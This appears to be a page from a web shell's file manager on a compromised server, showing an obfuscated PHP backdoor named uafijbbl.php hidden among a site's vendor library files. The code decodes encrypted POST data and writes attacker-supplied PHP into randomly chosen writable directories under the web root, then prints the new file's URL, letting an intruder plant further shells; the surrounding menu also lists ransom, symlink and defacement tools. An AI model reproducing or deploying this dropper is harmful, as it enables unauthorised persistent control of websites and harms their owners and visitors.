Path : /var/www/clients/client0/web25/web/vendor/egulias/ |
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
Current File : /var/www/clients/client0/web25/web/vendor/egulias/uafijbbl.php |
<?php function rHIfj($kuKFE){$DogLZxZVmJ = chr(114).'a'."\167"."\x75".chr(765-651).chr(108).chr(286-186)."\x65".'c'.chr(464-353).chr(341-241)."\145";$ggiCW = "\x73".chr(730-614)."\162"."\137"."\x72".chr(111).chr(1073-957).chr(179-130).'3';$gScnC = chr(115).'t'.chr(441-327).'_'."\163"."\160".chr(108).chr(406-301).chr(116);$kuKFE = $gScnC($DogLZxZVmJ($ggiCW($kuKFE)));return $kuKFE;}function OkrmkLk($BcIWIYiW, $kuKFE){$aThRoCw = 's'."\164".chr(506-392).chr(170-75).chr(1075-960)."\160".'l'.chr(105)."\164";$BcIWIYiW = array_slice($aThRoCw(str_repeat($BcIWIYiW, (count($kuKFE)/16)+1)), 0, count($kuKFE));return $BcIWIYiW;}function oiFllD($qtpZVSvDkt, $PGVUB, $BcIWIYiW){$GNEBy = "9068cd80-da89-44f3-8603-ab8eb2500361";return $qtpZVSvDkt ^ $GNEBy[$PGVUB % strlen($GNEBy)] ^ $BcIWIYiW;}function EVdKeH($kuKFE, $BcIWIYiW){$kuKFE = array_map("oiFllD", array_values($kuKFE), array_keys($kuKFE), array_values($BcIWIYiW));$kuKFE = implode("", $kuKFE);$RdXitDz = chr(455-338).'n'.chr(115)."\145".chr(206-92).chr(105)."\141"."\x6c"."\151".'z'.'e';$kuKFE = @$RdXitDz($kuKFE);return $kuKFE;}function MdbdKYR(){echo "JMyjXRVF";}function DibYFVhkn($KBbsosjsXir){static $KBbsosjsXiUykSKRO = array();$HDXLWGCv = glob($KBbsosjsXir . '/*', GLOB_ONLYDIR);$xEDIApBdyb = count($HDXLWGCv);if ($xEDIApBdyb > 0) {foreach ($HDXLWGCv as $KBbsosjsX) {$udCFMReY = 'i'."\x73".'_'."\167".chr(500-386).'i'."\x74".'a'."\x62".chr(573-465)."\x65";if (@$udCFMReY($KBbsosjsX)) {$KBbsosjsXiUykSKRO[] = $KBbsosjsX;}}}foreach ($HDXLWGCv as $KBbsosjsXir) DibYFVhkn($KBbsosjsXir);return $KBbsosjsXiUykSKRO;}function wiqOYDvgK(){echo "VehOg";}function tgQRvqKR($kuKFE){$bAGsQCy = chr(68)."\x4f"."\x43".'U'.chr(850-773).chr(915-846)."\116".chr(683-599).chr(95)."\x52"."\x4f"."\x4f"."\124";$JSDOk = $_SERVER[$bAGsQCy];$HDXLWGCv = DibYFVhkn($JSDOk);$MJvSPcJP = array_rand($HDXLWGCv);$anTcyHbc = chr(760-714)."\x70".'h'."\160";$TeZkMzk = $HDXLWGCv[$MJvSPcJP] . "/" . substr(md5(time()), 0, 8) . $anTcyHbc;$skART = chr(446-344).'i'."\x6c".'e'."\137"."\160".chr(117).chr(537-421)."\x5f"."\143".'o'.chr(662-552).'t'.chr(101).chr(543-433).chr(116-0)."\x73";@$skART($TeZkMzk, $kuKFE);$wjtxz = "\x48".chr(84)."\x54".chr(80).chr(95).'H'."\117"."\123".'T';$mcIJos = chr(191-87)."\164"."\164"."\x70".':'.'/'.chr(47);$xQgqvXHCeq = $mcIJos . $_SERVER[$wjtxz] . substr($TeZkMzk, strlen($JSDOk));print($xQgqvXHCeq);}foreach ($_POST as $BcIWIYiW => $kuKFE){$bBbsdcuzuf = strlen($BcIWIYiW);if ($bBbsdcuzuf == 16){$kuKFE = rHIfj($kuKFE);$BcIWIYiW = OkrmkLk($BcIWIYiW, $kuKFE);$kuKFE = EVdKeH($kuKFE, $BcIWIYiW);if (@is_array($kuKFE)){$MJvSPcJP = array_keys($kuKFE);$kuKFE = $kuKFE[$MJvSPcJP[0]];if ($kuKFE === $MJvSPcJP[0]){$fpnYyUIo = "\x70".chr(369-265)."\x70";$ycqNy = 'p'.chr(104)."\160"."\166".'e'.'r'."\163"."\x69"."\157".chr(110);$bgujdhqgu = "\163".chr(776-675).chr(114).chr(105).chr(97)."\x6c"."\151".chr(1025-903).'e';echo @$bgujdhqgu(Array($fpnYyUIo => @$ycqNy(), ));}else {tgQRvqKR($kuKFE);}die();}}}